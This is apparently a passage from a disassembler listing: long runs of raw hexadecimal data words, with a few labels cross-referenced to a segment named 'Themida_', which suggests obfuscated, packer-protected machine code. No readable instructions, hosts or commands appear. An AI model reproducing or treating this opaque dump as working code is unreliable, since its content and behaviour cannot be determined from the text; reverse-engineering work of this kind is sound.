		dd 0F09435CEh, 0BE662A15h, 8E98B98h, 0BC000000h, 0E253F8B7h
		dd 0FF9691ECh, 370AED95h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 58D95A72h
		dd 0D648B57h, 0C68166A3h, 8B660897h, 359D8DF3h,	6A063AA1h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0AD3AC350h, 0FE99827h, 90000000h,	1527E025h
		dd 5638E797h, 0BCBDE331h, 0D3FF40E9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 31C35141h, 0F99B58Bh, 85FF0637h
		dd 6372A7Dh, 18ADB58Bh,	0B70F0637h, 915E9F2h, 0E80000h
		dd 5D000000h, 0E210ED81h, 6A063Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 8166A5C3h, 816238F6h
		dd 370199BDh, 7D006h, 5E860F00h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 585C355h
		dd 8D9D8BB7h, 8106371Ch, 100E3h, 0C19D8900h, 29063723h
		dd 37287195h, 0FDB0B06h, 0E385h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 648C7435h
		dd 177173Ch, 37142995h,	6BD8306h, 63AE0h, 60840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 1A07FAC3h, 0DE8C5h, 0E9CD0000h, 74081777h, 0B3323C11h
		dd 89238C41h, 3709F985h, 9FE95E06h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 98E2C353h, 118DB58Bh, 85C70637h, 63AE006h, 1, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0B1C35040h, 4FE96A52h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 3008C350h, 88B654ACh, 0E00685C7h
		dd 63Ah, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 160424h, 53430000h, 0F338EC3h, 0A66EF681h, 9D8D7742h
		dd 6371C8Dh, 81F28B66h,	0FFFEFF23h, 0DB8C66FFh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 12C35343h, 0C3F621B3h
		dd 25840F04h, 0FC000000h, 58995FFh, 0DE810637h,	6727CE22h
		dd 8C0F50F5h, 2, 489F18Bh, 6E924h, 0B64B0000h, 2E1CE195h
		dd 3CCE9h, 68C0F00h, 8B000000h,	3705B9B5h, 6A00B006h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 6C27C356h, 9501EB9Ah, 6370EEDh, 70E6F28Bh, 271EBE66h
		dd 71E4F08Bh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	0C4C35040h, 0EEE1F73Ch,	6AD8B60Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0A21EC350h
		dd 4A99531h, 0B58B0637h, 6370AA9h, 6BAh, 0C38BF900h, 7F9B58Bh
		dd 0E8C10637h, 64D3BE04h, 0F766112Bh, 52006AE2h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 409D3A43h, 5EFC5021h, 6E9D82Bh, 0C1000000h, 0FBD2D293h
		dd 76BE930Dh, 501321C7h, 52605250h, 310F615Bh, 0E45C0FBEh
		dd 93585A1Ch, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 16h,	0C8C35747h, 8C0F6C59h, 0Ch, 7E9h, 7DFDFB00h, 48EFA20Dh
		dd 199B5FFh, 6A0637h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0A19FAAC3h, 59E41Dh, 321995FFh
		dd 6A0637h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 468DAC3h,	322DB58Bh, 0B00637h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 25C35141h, 0E8C72967h
		dd 5, 8065A1D7h, 0BD9D8900h, 5E063729h,	0FF570E6h, 71E4F6BFh
		dd 890Fh, 85310000h, 6371881h, 830F613Ch, 211h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0F2C35040h, 0F1BF0F0Ah
		dd 0D8B60FF9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	2DC35747h, 0F07A8B2h, 6BAF6BFh,	6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 3933C356h, 0A3228E61h, 1B820FCFh, 60000000h,	11E9h
		dd 6F1EF800h, 48DF0CC7h, 88ED4D27h, 61E9CFDDh, 0B70F03DEh
		dd 0EE8161CFh, 74D8D6C8h, 0B58BC38Bh, 6370F75h,	1FA19589h
		dd 0E8C10637h, 5D858904h, 66063713h, 0BE66E2F7h, 0D82B0F2Eh
		dd 14E958h, 37730000h, 0B20B1408h, 0F0340A06h, 0FBF88F75h
		dd 5DC9FE13h, 0D82BE135h, 13B880Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 9FF202C3h
		dd 9D34E79h, 7E82916h, 2A000000h, 0F8B8B7FCh, 0B58B916Ah
		dd 6370C95h, 0F38B665Eh, 7B9h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 6616FF66h
		dd 0C183F28Bh, 0BE800h,	0E0920000h, 0AD1F1D8Ah,	279CA73Ah
		dd 0F28B6691h, 3BF08B5Eh, 0BA860FD9h, 66000000h, 0B52BD98Ch
		dd 63722C5h, 0F04C1F6h,	0A184h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 95FFB6B2h
		dd 6370589h, 8E9h, 0B4B56400h
		dd 75ACBFA4h, 6A5BF823h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 2B8BC350h, 371CA9B5h
		dd 89C32B06h, 370F7DBDh, 8343D06h, 860F0000h, 3Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0F8C35040h, 4AD3C151h
		dd 816EBE77h, 8088AE6h,	13E93Ah, 840F0000h, 6, 28A9B58Bh
		dd 0C08B0637h, 28C68166h, 8BC38B70h, 25BD89D8h,	0C706372Fh
		dd 3731E185h, 9D493F06h, 56006A39h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0A0603195h, 85096060h
		dd 6371855h, 14E9h, 5323BC00h, 0F59FDFFh, 0EB35DFEFh, 0C0761524h
		dd 16F73B12h, 0C08B615Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 91C35545h, 9EF037CBh,	815E52A5h, 370199BDh
		dd 7D006h, 5B850F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 32F0C352h, 0F571EDFh
		dd 681h, 810F00h, 5E000000h, 19985FFh, 6A0637h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 4F80BAC3h, 0B4DCD44h, 11318D09h, 0B5FF0637h,	6370199h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 49C35242h
		dd 531E5494h, 0B5C15B48h, 800Fh, 5E560000h, 6800F7BEh
		dd 1995FF4Ch, 60063732h, 4866F181h, 7ABF0E11h, 61219D44h
		dd 6AD88B90h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 8BABC356h, 0A4840F68h,	2DF08160h
		dd 89600EDCh, 37235585h, 0B58B6106h, 6371D09h, 0B95BD83h
		dd 0F000637h, 0C84h, 0D4E9F900h, 8B000001h, 370CE5B5h
		dd 0E9DF8C06h, 0Fh, 161755CCh, 2BED2EBFh, 6F5EB301h, 66C3A787h
		dd 4C7F7h, 1AD850Fh, 0FF2B0000h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 7DC35343h, 0D3E7569h, 50DF2465h
		dd 0CA51BE48h, 0F18B3398h, 0EAE69D8Dh, 6A063Ah,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 81DDF9C3h, 7EF22FE6h, 1C895014h, 79B58B24h, 6406370Fh
		dd 35FFh, 0B58B0000h, 6372871h,	258964h, 0E9000000h, 0Dh
		dd 91AF7010h, 7DF2A8D7h, 8B1EBCDCh, 0E9C48B3Dh,	6, 2B0EA65Ch
		dd 1CDB428h, 6A00EBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 6D69C5C3h, 7746807Bh, 0F7BF0FEAh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6C35646h
		dd 0C17082C0h, 8F6414FCh, 5, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 7B02BEA0h
		dd 0C4836A07h, 258D0104h, 0F063718h, 88h, 0FC00B00h, 8E84h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 2 dup(0A0A0A0A0h), 859589A0h, 3106370Fh
		dd 370ED9B5h, 2BBD8D06h, 8106374Eh, 0C56F13EEh,	5B844h
		dd 0E7FF0000h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0D0C35040h, 5C8B5749h, 838B1024h, 0B8h,	140B60Fh
		dd 8389C8FEh, 0B0h, 0B88383h, 5F020000h, 8BC3C033h, 37096DB5h
		dd 6DB58B06h, 2B063713h, 0F6F0E9CAh, 8166FFFFh,	8B51B4CEh
		dd 0C1BA60C1h, 0F115445h, 486h,	21BE6600h, 0B58B615Ch
		dd 63708B5h, 4EBh, 0FE8B0000h, 2ED9B589h, 858D0637h, 6370885h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 2AC35545h
		dd 66525093h, 5F84F5BEh, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 3E6C350h
		dd 93E2B8F1h, 0E961CFC5h, 13h, 5693C59Fh, 9895E7AAh, 0AF677B7Ah
		dd 30F16BEEh, 10D58BFh,	370BE5BDh, 0E9006A06h, 0Ah, 0D023CB8Dh
		dd 0DF49837Fh, 6A2FEFh,	61BD8B52h, 5F06372Eh, 0ED5A858Dh
		dd 8950063Ah, 3718819Dh, 0C0835F06h, 53006A05h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0E8408E2Fh
		dd 0B7CB113Dh, 19BD8BC1h, 9006370Fh, 0AC13BE66h, 13E950h
		dd 333B0000h, 0ECE32Ah,	0A23C21BEh, 13059908h, 26600740h
		dd 6A9004h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 903A1CC3h, 0F3A00965h, 0F89A9D24h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 12E898C3h, 46000000h, 89ECBACAh, 0E0E37E4Bh,	0EDBC0F5h
		dd 0DCC45E06h, 5D8D3135h, 5E063707h, 0E90CEF81h, 6A0D35h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C4C35545h
		dd 5979A00Fh, 0BFF618C3h, 6E0ED202h, 0AED95FFh,	6A0637h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0DE8B81C3h, 9F0E1205h, 66CF07A5h, 8DBA97BEh,	3AA1359Dh
		dd 0CE906h, 8EE10000h, 0F8B072A2h, 75EF85B2h, 0D3FF31E4h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0FDC35141h
		dd 0FD4533ACh, 1FF1BD01h, 85FF0637h, 6372A7Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 5DC35242h, 0E994ED01h
		dd 5, 0A130B393h, 73DE9C8h
		db 2 dup(0)
word_57B9AE	dw 0E8h			; DATA XREF: Themida_:0053EC9Co
		dd 5D000000h, 0ED64ED81h, 800F063Ah, 2,	0BD81F88Bh, 6370199h
		dd 7D0h, 0F3860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0FF763AC3h, 0EFE606E6h
		dd 9D89118Ch, 6370429h,	6B59D8Bh, 95290637h, 6371221h
		dd 100E381h, 0BDBE0000h, 0B7357A0h, 61850FDBh, 0BF000000h
		dd 688231F1h, 0EB3BBD83h, 0F00063Ah, 1184h, 70E900h, 0B9600000h
		dd 55997DCh, 61FFB70Fh,	85C75F57h, 63AEB3Bh, 1,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 30C35040h, 40211A2Bh
		dd 60027585h, 0BB6660B1h, 0E961B268h, 2Ah, 17A2BE66h, 0EB3B85C7h
		dd 63Ah, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 140424h, 51410000h, 9D8D04C3h, 63706B5h, 2381FE8Bh
		dd 0FFFFFEFFh, 10E9h, 5DB0DD00h, 0FFCE8C56h, 23B868CEh
		dd 2D930AAFh, 0DB8C66F4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0BAC35343h, 8D8529E5h, 0F6063719h, 840F04C3h
		dd 32h,	1DADBD8Bh, 95FF0637h, 6370589h,	855B58Bh, 9E90637h
		dd 4B000000h, 2ED4E2EBh, 6A3BC7B4h, 800F5750h, 0
		dd 2404895Eh, 127DBD8Bh, 0FCE90637h, 6A000003h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 4DADC351h, 29181CEBh, 61B58BA2h, 0B006372Bh,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0BD310DBBh, 6371F49h, 264DB589h, 70E60637h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 8EC35141h, 0F06A0150h
		dd 0C98D89ABh, 0E4063700h, 0B60FFC71h, 57006AD8h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 28DCA9CBh, 9D890ACFh, 63703E9h, 6BAh, 78BE6600h, 6AC38BDFh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 7C31C351h, 9C010A35h, 999D9D79h, 30F98531h
		dd 0E8C10637h, 0A5B58B04h, 0F063723h, 58Ch, 9B5BBF00h
		dd 0F7660E35h, 56006AE2h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 91C3A0B9h, 0BD09CA03h
		dd 6371881h, 6AD82BF8h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0F267C350h,	0F9B6072h
		dd 384h, 5FFC5000h, 0A768D781h,	0BE9304BEh, 7A3700B7h
		dd 0A2BE6650h, 8D3193A3h, 637047Dh, 199B5FFh, 0AE90637h
		dd 57000000h, 0EF78152Eh, 9F05DD2Eh, 3860F12h, 0F000000h
		dd 95FFFBB7h, 6373219h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 52C35141h, 5061236Ah,	0B58B60DAh, 6372065h
		dd 7FE08166h, 0BD8B61CAh, 63719EDh, 6A00B0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 84F94C3h
		dd 0E6F9871Ch, 0F605770h, 0BD89CABFh, 6372A2Dh,	71E45E61h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 7CC35646h
		dd 0D96978Eh, 0E963CB4Dh, 6820Fh, 0D7810000h, 29E5B3D2h
		dd 2B5DB58Bh, 613C0637h, 1D1830Fh, 840F0000h, 6, 0B6DBD8Bh
		dd 0B60F0637h, 57006AD8h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0F8D8CB24h, 2E6DB589h
		dd 81660637h, 0BA273DCFh, 6, 2BB9B58Bh,	0C38B0637h, 0BE04E8C1h
		dd 1D34489Fh, 0E2F766F9h, 0BD09D82Bh, 637285Dh,	0FD82B58h
		dd 16E88h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 722F926Fh, 0E0AB889Bh, 81664C6Dh
		dd 0B9C69ACFh, 7, 0EE9h, 0F51A1700h, 0C0BFE8F2h, 0AC495EC5h
		dd 837828DFh, 6A00C1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 77032CC3h, 0D93B9181h, 101860Fh
		dd 0BF0F0000h, 0D98C66FAh, 0E3BBE66h, 0F04C1F6h, 0CC84h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0AE92485h, 59000000h, 0F884B307h, 76F38A16h
		dd 8995FF46h, 6A063705h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 7DC0C352h, 95E0592h
		dd 8B666060h, 8C0FD7h, 61000000h, 2FBF5B61h, 17B3CA5h
		dd 371C458Dh, 6AC32B06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0CD7EC357h,	1A3BC6Fh
		dd 890FAAFBh, 1, 8343DF5h, 860F0000h, 29h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 2BC35646h, 0E8925E6Ch
		dd 24E9665Fh, 8B000000h, 0E8C08BF2h, 14h, 1658A26Ch, 0B174682Ah
		dd 325BC362h, 0B69F8908h, 1A5BAB71h, 18F9BD8Bh,	8B5E0637h
		dd 0C7D88BC3h, 371C8D85h, 0CA053706h, 61BF6631h, 6AC08B4Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 1CBAC355h, 66052199h, 8B9FBDBFh, 371E3DB5h
		dd 99BD8106h, 0D0063701h, 0F000007h, 3885h, 0CDB58B00h
		dd 0FF063701h, 37019985h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0BF0F607Dh
		dd 6E9C2h, 0BE1C0000h, 0CBE80E25h, 99B5FF61h, 1063701h
		dd 3713CD95h, 39B58B06h, 0FF06372Ah, 37321995h,	0C9BD0B06h
		dd 9006372Dh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 19h,	0C2C35747h, 481D1D90h, 259D89F5h, 0F06370Fh, 686h
		dd 8D0F00h, 0F5000000h,	14E9h, 13FBF800h, 355DC9FEh, 0C9ADBCE1h
		dd 225F0422h, 0B322FECAh, 57006A31h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0A8ED6DB3h
		dd 0AE848h, 12EC0000h, 3CC75F8Fh, 0C2CC59E8h, 1F7DBD8Bh
		dd 0F85E0637h, 0D5DBD8Bh, 6A0637h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 14E9D7C3h, 2E000000h
		dd 129F05DDh, 10921630h, 14C2979Ah, 7CDFA005h, 8B0E762Bh
		dd 370B19B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0DE824h, 816A0000h, 6B89CC0Eh, 0AF5D6B2Ah
		dd 0BFF248A4h, 1A22803Ah, 8ADABF5Fh, 830F54AEh,	11h, 1111BD89h
		dd 6E90637h, 91000000h,	2E75D901h, 0DF81668Bh, 0C3E9744Fh
		db 0F8h, 0FFh
word_57C0EA	dw 8BFFh		; DATA XREF: Themida_:0053FD4Co
		dd 50006AC1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0CDABE4Bh, 30299589h, 4EB0637h, 0
		dd 0E970B760h, 0Eh, 9CDAEE5Ch, 0E969B9E8h, 0BD981E4Bh
		dd 89618E93h, 37208DBDh, 85858D06h, 6A063708h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0D50AC352h, 5CE2EF81h, 60901321h, 3EBBB860h,	5EB73BBEh
		dd 61D38B61h, 48A0F50h,	66000000h, 90452DBFh, 0B589006Ah
		dd 6371185h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 568840C3h, 0F60FEAC1h, 0F665858Dh
		dd 6A063Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0D43BB9C3h, 93FB78C1h, 0B58BAB0Ch, 6370C7Dh
		dd 8905C083h, 370CF195h, 9E99006h, 52000000h, 95528ABFh
		dd 0B92ED325h, 0E8605650h, 0Fh,	856C6872h, 0C71B45F9h
		dd 239B6B68h, 58A70DA0h, 9D859BBAh, 905F6172h, 10E9h, 0AB830100h
		dd 534AC79Dh, 0DF648DF4h, 0F942D090h, 0F006A04h, 2C8Ah
		dd 14E800h, 0B6DC0000h,	0C9A0FF60h, 0DFE6FDFh, 6D734DA5h
		dd 0A8D650ADh, 0CE8578Bh, 0CC000000h, 25165DF0h, 9831BD16h
		dd 5FB75156h, 6A006A5Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0FF72C353h,	370AED95h
		dd 0F18B5606h, 359D8D5Eh, 23063AA1h, 370725B5h,	0FFD3FF06h
		dd 372A7D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0BE3478F4h, 3686269Bh, 878E9h
		db 0
byte_57C2B9	db 0E8h, 2 dup(0)	; DATA XREF: Themida_:0053D054o
		dd 815D0000h, 3AF66FEDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 54AC3008h, 199BD81h, 7D00637h
		dd 860F0000h, 112h, 2E9D9D8Bh, 85890637h, 6372A99h, 100E381h
		dd 0BD890000h, 6371155h, 850FDB0Bh, 90h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 0F4C35141h, 0BD83F5D5h
		dd 63AF4C5h, 23840F00h,	66000000h, 23222EBFh, 37128DB5h
		dd 60E906h, 0AE90000h, 0C3000000h, 0DF9CBF54h, 0EB4DAD58h
		dd 0EDFDBF1Ch, 85C74771h, 63AF4C5h, 1, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0A2C35646h,	0E13B14F8h, 8D0F7BCAh
		dd 5, 7702FCBFh, 10E903h, 0BD8B0000h, 6372F89h,	0F4C585C7h
		dd 63Ah, 9D8D0000h, 6372E9Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0D0C35747h,	0F7F68166h, 0FEB70F10h
		dd 0FEFF2381h, 6AFFFFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 383968C3h, 7135EDA8h, 0F916568h
		dd 8C66F8B7h, 50006ADBh, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0CAC5A4CAh, 6C75E7h, 39BD8B3Eh, 8906371Bh
		dd 37255985h, 0F0BF0F06h, 0F04C3F6h, 0AF84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0BCB4CD35h, 0B36B80B6h, 9D89DEA8h, 63718E5h,	5E9h, 2D996000h
		dd 95FF9592h, 6370589h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0FDC35141h, 0FA50C17Ch, 8B0Fh, 0BD8B0000h
		dd 6370BE5h, 19810F50h,	53000000h, 11E8h, 4CB24900h, 8C6F9DC3h
		dd 3FC3691h, 0A4658D07h, 5E5E390Eh, 6A240489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0A71AC350h, 0DE81483Ch, 60641E77h, 426E9h, 0B9958900h
		dd 0B006370Dh, 0F18B6600h, 6A70E6h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 32A409C3h
		dd 674E856Bh, 0F865F48h, 0A89h,	4840F00h, 66000000h, 0E417BCBEh
		dd 56006A71h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 2DA3C882h, 890CAB44h, 371AB995h,	6850F06h
		dd 89000000h, 370821B5h, 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0C0C35646h,	8BFE04Dh, 7A84256Ch
		dd 6060518Fh, 0DD9D0361h, 6106371Ah, 6BA5Eh, 0B58B0000h
		dd 63729BDh, 58C0Fh, 81660000h,	8BEBBACEh, 52006AC3h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 0DDB50BA0h, 0C1063728h, 0BD0304E8h, 63705B1h, 6AE2F766h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 2B18C353h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 6C31E97Fh, 57D411FCh
		dd 31BD8B67h, 2B063732h, 370D41BDh, 850F5006h, 20h, 14E8h
		dd 71C5F500h, 51B89698h, 519C9901h, 266B259Dh, 9A4D026Dh
		dd 0F525022h, 5F585A31h, 60241C89h, 0BE9F5h, 0DD5C0000h
		dd 0E49939BBh, 5B3B06E5h, 0B5FF610Ah, 6370199h,	321995FFh
		dd 0BF660637h, 0B0E9ABh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0EC35242h, 32AAB3ADh,	0E356821h, 7E960h
		dd 66770000h, 0EB4F0DD8h, 61B6B196h, 6A70E6h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F597BFC3h
		dd 0BD0971E4h, 6370515h, 830F613Ch, 233h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ch, 0E5C35343h, 49FB9E8Eh
		dd 168276C7h, 89D8B60Fh, 372DA9B5h, 6BA06h, 0DE810000h
		dd 21B70660h, 0BD8BC38Bh, 6373009h, 0E804E8C1h,	11h, 0BF401B70h
		dd 800A2AA8h, 1455F37Fh, 0D477406h, 14E874h, 15F50000h
		dd 0FD1DB01Dh, 0DFEA313Fh, 33202BC6h, 4A11FA79h, 0BE9A47Dh
		dd 0F6000000h, 452B81D1h, 0A4174325h, 5F5F85F0h, 6AE2F766h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 5151C353h, 2BFFDDF8h, 52006AD8h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 81666000h
		dd 66A1D7E6h, 0FF9AF081h, 6A5861h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 24B893C3h, 8A1F0C0h
		dd 2B87602Eh, 34880FD8h, 66000001h, 457DF781h, 7B9h, 61B58900h
		dd 83063709h, 6A00C1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0E98CC7C3h, 0F8A6EE70h, 8B965FD8h
		dd 372395B5h, 0B98D3106h, 3B06370Dh, 0E8860FD9h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 66D0C351h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0F6C3BFC3h, 840F04C1h
		dd 9Bh,	0F5DE8166h, 8995FF4Dh, 0E9063705h, 11h,	644A4E7Eh
		dd 0C1A087E2h, 3B6910Ch, 0FFA06581h, 6A5BE0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 5FD54DC3h
		dd 197A46CDh, 9D896075h, 6370559h, 1FA9BD89h, 8B610637h
		dd 372255BDh, 3DC32B06h, 834h, 35860Fh,	6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 94684AC3h, 66600565h, 8AC2DF81h, 67BE6661h, 0DE9FEh
		dd 0EFBE0000h, 8B4BB0E4h, 0B1BD0BC0h, 8B063721h, 0E9D88BC3h
		dd 12h,	5F8249BCh, 59E1C850h, 0C53FB1DBh, 9CE7BBF3h, 85C73667h
		dd 63706B5h, 57F293FDh,	0A919DE81h, 0C08B0BEEh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3EC35242h, 0F9581BE8h
		dd 0CF1B58Bh, 0BD810637h, 6370199h, 7D0h, 44850Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 85FF97C3h, 6370199h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0BDC35545h, 1E51BD89h, 0B5FF0637h, 6370199h
		dd 0E759589h, 95FF0637h, 6373219h, 0C959D89h, 6A900637h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
